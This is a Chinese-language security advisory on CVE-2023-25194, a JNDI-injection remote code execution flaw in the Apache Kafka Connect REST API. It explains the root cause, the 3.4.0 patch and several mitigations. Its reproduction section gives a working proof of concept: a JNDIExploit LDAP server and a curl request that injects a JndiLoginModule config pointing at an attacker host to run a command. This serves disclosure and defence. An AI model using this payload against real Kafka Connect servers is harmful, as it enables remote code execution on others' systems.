一、漏洞简介

1.1 漏洞背景

Apache Kafka Connect API 是 Kafka 生态系统中的核心组件,用于在各种数据系统之间可靠地流式传输数据。Kafka Connect 允许用户通过 REST API 创建和管理连接器(Connector),连接器可以配置各种属性以连接到外部系统。

该漏洞源于 Kafka Connect 允许用户在连接器配置中指定 SASL(Simple Authentication and Security Layer)JAAS(Java Authentication and Authorization Service)配置。攻击者可以利用这一特性,通过恶意的 JNDI(Java Naming and Directory Interface)配置,实现远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-25194
危害等级 HIGH / 8.8
漏洞类型 反序列化 RCE 漏洞
披露时间 2023-02-07
影响组件 Apache Kafka 安全
  • CVE 编号: CVE-2023-25194
  • 危害等级: 高危
  • CVSS 评分: 8.8 (High)
  • CWE 分类: CWE-502 - Deserialization of Untrusted Data(不可信数据反序列化)
  • 影响组件: Apache Kafka Connect API

补充核验信息:公开时间:2023-02-07;NVD 评分:8.8(HIGH);CWE:CWE-502。

二、影响范围

2.1 受影响的版本

  • Apache Kafka Connect API 2.3.0 - 3.3.2

2.2 不受影响的版本

  • Apache Kafka Connect API ≥ 3.4.0(已修复)
  • Apache Kafka < 2.3.0(不存在此功能)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Kafka Connect 集群运行环境: 需要有可访问的 Kafka Connect Worker
  2. 认证权限: 攻击者需要能够通过 REST API 创建或修改连接器
  3. 配置能力: 自 Kafka 3.0.0 起,默认配置允许用户指定 SASL JAAS 配置属性
  4. 类路径条件: 目标服务器的 classpath 中需要存在可利用的反序列化 gadget 链

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击流程如下:

  1. 构造恶意配置: 攻击者通过 Kafka Connect REST API 创建或修改连接器,设置以下属性: producer.override.sasl.jaas.config=com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker.com:1389/Exploit";

  2. 触发 JNDI 查询: 当 Kafka Connect 初始化连接器时,会尝试使用配置的 JAAS 模块进行认证

  3. 连接恶意 LDAP 服务器: JndiLoginModule 会连接到攻击者控制的 LDAP 服务器

  4. 反序列化攻击载荷: LDAP 服务器返回恶意的 Java 对象引用,导致 Kafka Connect 服务器反序列化恶意代码

  5. 远程代码执行: 如果 classpath 中存在可利用的 gadget(如 Commons-Collections、Spring 等),则实现 RCE

3.2 源码层面的根因分析(结合源码与补丁对比)

根本原因: Kafka Connect 在处理连接器配置时,未对 SASL JAAS 配置中的登录模块进行充分验证。

关键代码路径:

// org.apache.kafka.connect.runtime.Worker
// 连接器配置被直接传递给 Kafka 客户端
Map<String, Object> producerProps = connectorConfig.originalsWithPrefix("producer.override.");

// 包含 sasl.jaas.config 属性
// 该属性值可以是任意 JAAS 配置字符串

3.4.0 版本的修复中,引入了登录模块黑名单机制:

// 新增的系统属性检查
private static final String DISALLOWED_LOGIN_MODULES_PROPERTY =
    "org.apache.kafka.disallowed.login.modules";

// 默认禁用 JndiLoginModule
private static final Set<String> DEFAULT_DISALLOWED_MODULES =
    Collections.singleton("com.sun.security.auth.module.JndiLoginModule");

四、漏洞复现(可选)

4.1 环境搭建

# 下载受影响版本
wget https://archive.apache.org/dist/kafka/3.3.2/kafka_2.13-3.3.2.tgz
tar -xzf kafka_2.13-3.3.2.tgz
cd kafka_2.13-3.3.2

# 启动 ZooKeeper
bin/zookeeper-server-start.sh config/zookeeper.properties &

# 启动 Kafka Connect(单机模式)
bin/connect-standalone.sh config/connect-standalone.properties

4.2 PoC 演示与测试过程

步骤 1: 启动恶意 LDAP 服务器(使用 JNDIExploit 工具)

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i attacker_ip

步骤 2: 通过 REST API 创建恶意连接器

curl -X POST http://target:8083/connectors \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious-connector",
    "config": {
      "connector.class": "org.apache.kafka.connect.file.FileStreamSourceConnector",
      "file": "/dev/null",
      "topic": "test-topic",
      "producer.override.sasl.jaas.config":
        "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://attacker_ip:1389/Basic/Command/base64/dG91Y2ggL3RtcC9wd25lZA==\";",
      "producer.override.security.protocol": "SASL_PLAINTEXT",
      "producer.override.sasl.mechanism": "PLAIN"
    }
  }'

步骤 3: 观察执行结果

如果漏洞利用成功,将在目标服务器上执行 touch /tmp/pwned 命令。

五、修复建议与缓解措施

5.1 官方版本升级建议

  • 强烈建议升级至 Kafka 3.4.0 或更高版本

修复版本引入了以下安全机制: - 默认禁用 JndiLoginModule - 通过 JVM 系统属性 org.apache.kafka.disallowed.login.modules 支持自定义黑名单

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 禁用有问题的登录模块(适用于 ≥ 3.4.0)

# 在启动 Kafka Connect 时添加 JVM 参数
export KAFKA_OPTS="-Dorg.apache.kafka.disallowed.login.modules=com.sun.security.auth.module.JndiLoginModule,com.sun.security.auth.module.LdapLoginModule"
bin/connect-standalone.sh config/connect-standalone.properties

方案 2: 实现自定义 ConnectorClientConfigOverridePolicy

public class RestrictedConfigOverridePolicy implements ConnectorClientConfigOverridePolicy {
    private static final Set<String> DISALLOWED_CONFIGS = Set.of(
        "sasl.jaas.config",
        "producer.override.sasl.jaas.config",
        "consumer.override.sasl.jaas.config",
        "admin.override.sasl.jaas.config"
    );

    @Override
    public List<ConfigValue> validate(ConnectorClientConfigOverrideRequest request) {
        // 拒绝包含 JAAS 配置的覆盖
        return request.originals().keySet().stream()
            .filter(DISALLOWED_CONFIGS::contains)
            .map(key -> new ConfigValue(key, "Configuration override not allowed"))
            .collect(Collectors.toList());
    }
}

方案 3: 网络层防护

  • 配置 WAF 规则拦截包含 JndiLoginModule 的请求
  • 限制 Kafka Connect REST API 的网络访问,仅允许受信任的内网访问
  • 启用 TLS 双向认证,严格控制访问权限

方案 4: 审计与监控

# 监控异常的连接器配置
# 配置日志审计,记录所有连接器创建和修改操作
log4j.logger.org.apache.kafka.connect.runtime.Worker=DEBUG

六、参考信息 / 参考链接

6.1 官方安全通告

  • Apache Kafka CVE List: https://kafka.apache.org/community/cve-list
  • NVD CVE 详情: https://nvd.nist.gov/vuln/detail/CVE-2023-25194
  • Apache 邮件列表通告: https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz

6.2 其他技术参考资料

  • JNDI 注入攻击原理: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
  • Java 反序列化漏洞详解: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet